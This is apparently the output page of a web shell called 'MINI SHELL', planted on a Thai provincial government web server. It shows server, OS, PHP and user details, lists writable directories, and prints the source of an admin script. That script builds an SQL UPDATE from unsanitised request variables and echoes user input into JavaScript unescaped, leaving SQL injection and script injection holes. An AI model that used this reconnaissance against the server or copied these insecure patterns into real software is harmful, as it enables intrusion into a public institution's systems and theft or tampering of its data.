MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/html/pathumthani_vc/report/pdir/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/pathumthani_vc/report/pdir/admin/officer_edit_admin.php
<? 
	if ( trim($th_name) =="" ) { echo " <center><br> กรุณากรอกชื่อหน่วยงาน<br>"; ?>
<? }
	if ( trim($th_address) =="" ) { echo " <center><br> กรุณากรอกที่ตั้ง<br>";  
	echo "<a href='#' onclick = history.go(-1);>ย้อนกลับ</a>"; die; 
	echo "</center>";	?>
<? }

if ($banner != "") {
		$image_banner = addslashes(fread(fopen($banner, "r"), filesize($banner)));
//		$banner_field = " , banner , banner_type   ";  $image_banner = "  ,  '$image_banner'  ,  '$banner_type' " ;
		$image_banner = " , banner=  '$image_banner' , banner_type='$banner_type'  ";
} 
if ($map != "") {		
		$image_map = addslashes(fread(fopen($map, "r"), filesize($map))); 
//		$map_field = " , map , map_type " ;   $image_map = "  ,  '$image_map' , '$map_type' " ;
		$image_map = " , map=  '$image_map' , map_type='$map_type'  ";
}

 include ("../../../inc/conndb.inc.php");
$sql = " UPDATE office_detail SET  th_name = '$th_name',  en_name = '$en_name', th_address = '$th_address',   ";
$sql = $sql . "  en_address = '$en_address',  tel1 = '$tel1',   " ;
$sql = $sql . "  tel2 = '$tel2',  tel3 = '$tel3', FX = '$FX',  organiztion_id = '$organiztion_id',  web = '$web',   ";
$sql = $sql . "   email1 = '$email1',  email2 = '$email2'     $image_banner   $image_map        ";
$sql = $sql . "   WHERE  id = '$id'     " ;

if (!($query_result = mysql_db_query($dbname,$sql))){
echo  mysql_error();
}
//================================================
//echo "$sql";    die;
if ($apply != ""){
			$url_back="officer_edit_form_admin.php?id=$id";
			$office_name =  $th_name  ;
		?>
		<script  language="javascript"> 	
		function previous_view(url_back,office_name){
			alert("ปรับปรุงหน่วยงาน"+ office_name +"เสร็จสิ้น"); 
			document.location.href = url_back ;
		}	
		</script>	
		<script  language="javascript"> 		
			previous_view("<?=$url_back?>","<?=$office_name?>");
		</script>		
<?	
die;	
}		
?>
<html><head><title>Untitled Document</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<script  language="javascript">
//function updateManiPage(){
	opener.document.location.reload();	
    window.close();
//}
</script>
</head>
<body>

</body>
</html>

Anon7 - 2021